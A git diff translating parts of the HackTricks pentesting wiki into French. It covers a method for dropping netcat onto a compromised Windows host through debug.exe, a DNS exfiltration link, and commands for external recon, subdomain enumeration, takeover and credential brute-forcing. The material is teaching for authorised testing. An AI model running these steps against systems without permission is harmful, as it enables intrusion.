bits. L'idée est d'utiliser le programme `debug.exe`. Il est utilisé pour inspecter les binaires, comme un débogueur. Mais il peut également les reconstruire à partir de l'hexadécimal. L'idée est donc que nous prenions des binaires, comme `netcat`. Et puis le désassembler en hexadécimal, le coller dans un fichier sur la machine compromise, puis l'assembler avec `debug.exe`. +`Debug.exe` ne peut assembler que 64 ko. Nous devons donc utiliser des fichiers plus petits que cela. Nous pouvons utiliser upx pour le compresser encore plus. Alors faisons cela: ``` upx -9 nc.exe ``` - -Now it only weighs 29 kb. Perfect. So now let's disassemble it: - +Maintenant, il ne pèse que 29 ko. Parfait. Maintenant, désassemblons-le : ``` wine exe2bat.exe nc.exe nc.txt ``` - -Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe +Maintenant, nous copions-colons simplement le texte dans notre shell Windows. Et cela créera automatiquement un fichier appelé nc.exe ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Astuce de prime de bug bounty**: **inscrivez-vous** sur **Intigriti**, une plateforme premium de **bug bounty créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -393,10 +587,10 @@ Now we just copy-paste the text into our windows-shell. And it will automaticall ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 27a361e58..9b6aba4b3 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,58 +1,55 @@ -# External Recon Methodology +# Méthodologie de reconnaissance externe
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} -## Assets discoveries +## Découverte des actifs -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez savoir ce que cette entreprise possède réellement. -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +Le but de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** et ensuite tous les **actifs** de ces entreprises. Pour ce faire, nous allons : -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises dans le périmètre. +2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'adresses IP possédées par chaque entreprise. +3. Utiliser des recherches inverses de whois pour rechercher d'autres entrées (noms d'organisations, domaines...) liées à la première (cela peut être fait de manière récursive). +4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive). ### **Acquisitions** -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. +Tout d'abord, nous devons savoir quelles **autres entreprises sont détenues par l'entreprise principale**.\ +Une option consiste à visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous y verrez d'autres entreprises acquises par la principale.\ +Une autre option consiste à visiter la page **Wikipedia** de l'entreprise principale et à rechercher des **acquisitions**. -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> D'accord, à ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Voyons comment trouver leurs actifs. ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +Un numéro de système autonome (**ASN**) est un **nombre unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\ +Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique d'accès aux réseaux externes clairement définie et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs. +Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'adresses IP**. Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de **rechercher des domaines** à l'intérieur de ces adresses IP.\ +Vous pouvez **rechercher** par le **nom de l'entreprise**, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**En fonction de la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les informations utiles (plages d'adresses IP et Whois)** apparaissent déjà dans le premier lien. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +Aussi, la recherche de sous-domaines de **BBOT** agrège automatiquement et résume les ASNs à la fin de l'analyse. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -69,62 +66,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +Vous pouvez trouver les plages d'adresses IP d'une organisation en utilisant également [http://asnlookup.com/](http://asnlookup.com) (il dispose d'une API gratuite).\ +Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com/](http://ipv4info.com). -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **Recherche de vulnérabilités** -### **Looking for vulnerabilities** +À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous y êtes autorisé, vous pouvez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ +Vous pouvez également lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment tester la sécurité de plusieurs services possibles en cours d'exécution.\ +**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer l'entrée de services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## Domaines -## Domains +> Nous connaissons toutes les entreprises dans le périmètre et leurs actifs, il est temps de trouver les domaines dans le périmètre. -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_Veuillez noter que dans les techniques proposées ci-dessous, vous pouvez également trouver des sous-domaines et que cette information ne doit pas être sous-estimée._ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +Tout d'abord, vous devriez chercher le(s) **domaine(s) principal(aux)** de chaque entreprise. Par exemple, pour _Tesla Inc._, ce sera _tesla.com_. -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. - -### **Reverse DNS** - -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **DNS inversé** +Comme vous avez trouvé toutes les plages d'adresses IP des domaines, vous pouvez essayer d'effectuer des **recherches DNS inversées** sur ces **adresses IP pour trouver d'autres domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8). ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` +Pour que cela fonctionne, l'administrateur doit activer manuellement le PTR.\ +Vous pouvez également utiliser un outil en ligne pour obtenir ces informations: [http://ptrarchive.com/](http://ptrarchive.com) -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +### **Reverse Whois (boucle)** -### **Reverse Whois (loop)** +Dans un **whois**, vous pouvez trouver beaucoup d'**informations intéressantes** telles que le **nom de l'organisation**, l'**adresse**, les **e-mails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **d'autres actifs liés à l'entreprise** si vous effectuez des **recherches whois inversées par l'un de ces champs** (par exemple, d'autres registres whois où le même e-mail apparaît).\ +Vous pouvez utiliser des outils en ligne tels que: -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuit** +* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuit** +* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuit** +* [https://www.whoxy.com/](https://www.whoxy.com) - Web **gratuit**, API non gratuite. +* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Non gratuit +* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuit (seulement **100 recherches gratuites**) +* [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit -* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -* [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -* [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink)(nécessite une clé API whoxy).\ +Vous pouvez également effectuer une découverte automatique de whois inversé avec [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.** ### **Trackers** -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. +Si vous trouvez le **même ID du même tracker** sur 2 pages différentes, vous pouvez supposer que **les deux pages** sont **gérées par la même équipe**.\ +Par exemple, si vous voyez le même **ID Google Analytics** ou le même **ID Adsense** sur plusieurs pages. -There are some pages and tools that let you search by these trackers and more: +Il existe des pages et des outils qui vous permettent de rechercher ces trackers et plus encore: * [**Udon**](https://github.com/dhn/udon) * [**BuiltWith**](https://builtwith.com) @@ -134,25 +128,20 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon? C'est exactement ce que fait l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2). Voici comment l'utiliser: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - découvrir les domaines avec le même hash d'icône favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hash d'icône favicon que notre cible. +De plus, vous pouvez également rechercher des technologies en utilisant le hash d'icône favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hash de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher si elle est présente dans shodan et **trouver plus d'endroits vulnérables** : ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +Voici comment vous pouvez **calculer le hash du favicon** d'un site web : ```python import mmh3 import requests @@ -165,75 +154,68 @@ def fav_hash(url): print(f"{url} : {fhash}") return fhash ``` +### **Droit d'auteur / Chaîne unique** -### **Copyright / Uniq string** +Recherchez dans les pages web des chaînes de caractères qui pourraient être partagées entre différents sites web de la même organisation. La chaîne de caractères de **droit d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **Google**, dans d'autres **navigateurs** ou même dans **Shodan** : `shodan search http.html:"chaîne de droit d'auteur"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **Temps CRT** +Il est courant d'avoir une tâche cron telle que : ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +Renouveler tous les certificats de domaine sur le serveur. Cela signifie que même si l'AC utilisé pour cela ne définit pas l'heure à laquelle il a été généré dans le temps de validité, il est possible de **trouver des domaines appartenant à la même entreprise dans les journaux de transparence des certificats**. Consultez ce [**writeup pour plus d'informations**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### **Prise de contrôle passive** -### **Passive Takeover** +Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**. -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**Ce post**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **lance une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal des enregistrements de sous-domaines** pointant vers elle. -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **Autres méthodes** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS. -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` +Vous pouvez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues de **shodan** avec le filtre : `ssl:"Tesla Motors"` **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)est un outil qui recherche des **domaines associés** à un domaine principal et des **sous-domaines** de ceux-ci, assez incroyable. -### **Looking for vulnerabilities** +### **Recherche de vulnérabilités** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Il suffit de l'enregistrer (si c'est assez bon marché) et de le faire savoir à l'entreprise. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Si vous trouvez un **domaine avec une adresse IP différente** de celles que vous avez déjà trouvées dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un certain [**scan de port**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ +_Notez que parfois le domaine est hébergé à l'intérieur d'une adresse IP qui n'est pas contrôlée par le client, donc elle n'est pas dans le périmètre, soyez prudent._ \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Astuce de bug bounty**: **inscrivez-vous** à **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour les hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## Sous-domaines -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> Nous connaissons toutes les entreprises dans le périmètre, tous les actifs de chaque entreprise et tous les domaines liés aux entreprises. -It's time to find all the possible subdomains of each found domain. +Il est temps de trouver tous les sous-domaines possibles de chaque domaine trouvé. ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +Essayons d'obtenir les **sous-domaines** à partir des **enregistrements DNS**. Nous devrions également essayer pour **Zone Transfer** (si vulnérable, vous devriez le signaler). ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +Le moyen le plus rapide d'obtenir beaucoup de sous-domaines est de chercher dans des sources externes. Les **outils** les plus utilisés sont les suivants (pour de meilleurs résultats, configurez les clés API) : * [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -244,77 +226,63 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - * [**Amass**](https://github.com/OWASP/Amass) +Amass est un outil de reconnaissance externe open source développé par OWASP. Il permet de découvrir des noms de domaine, des sous-domaines, des adresses IP et des ports ouverts à partir de sources publiques telles que les moteurs de recherche, les bases de données WHOIS et les certificats SSL/TLS. Amass peut également être utilisé pour identifier les relations entre les noms de domaine et les adresses IP, ainsi que pour détecter les éventuelles vulnérabilités de sécurité. ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - -* [**subfinder**](https://github.com/projectdiscovery/subfinder) - +* [**subfinder**](https://github.com/projectdiscovery/subfinder) : Cet outil permet de trouver des sous-domaines en utilisant différentes sources publiques. ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - -* [**findomain**](https://github.com/Edu4rdSHL/findomain/) - +* [**findomain**](https://github.com/Edu4rdSHL/findomain/) : Findomain est un outil de reconnaissance de domaine rapide et fiable qui effectue une recherche exhaustive des domaines. Il utilise une combinaison de sources publiques et privées pour trouver autant de domaines que possible. ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - * [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) +OneForAll est un outil de reconnaissance de domaine qui collecte des informations sur les noms de domaine, les adresses IP et les enregistrements DNS. Il peut être utilisé pour trouver des sous-domaines, des adresses IP associées à un domaine, des enregistrements DNS et des informations WHOIS. OneForAll utilise plusieurs sources de données pour collecter des informations, notamment des sources publiques telles que les archives de la Wayback Machine, les enregistrements DNS et les certificats SSL. Il peut également être utilisé pour vérifier la présence de vulnérabilités connues dans les sous-domaines et les adresses IP collectées. ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - -* [**assetfinder**](https://github.com/tomnomnom/assetfinder) - +* [**assetfinder**](https://github.com/tomnomnom/assetfinder) : Cet outil permet de trouver les domaines associés à une organisation en interrogeant différents sources (certificats, archives wayback, etc.). ```bash assetfinder --subs-only ``` - * [**Sudomy**](https://github.com/Screetsec/Sudomy) +Sudomy est un outil de reconnaissance de sous-domaines qui utilise des sources publiques pour collecter des informations (OSINT). Il peut être utilisé pour collecter des informations sur les domaines d'une entreprise et trouver des sous-domaines qui peuvent être utilisés pour attaquer l'entreprise. Sudomy peut également être utilisé pour collecter des informations sur les domaines d'une entreprise et trouver des sous-domaines qui peuvent être utilisés pour attaquer l'entreprise. ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - -* [**vita**](https://github.com/junnlikestea/vita) - +* [**vita**](https://github.com/junnlikestea/vita) : Vita est un outil de reconnaissance externe qui utilise des sources publiques pour collecter des informations sur une entreprise ou une organisation. Il peut être utilisé pour trouver des adresses e-mail, des noms de domaine, des 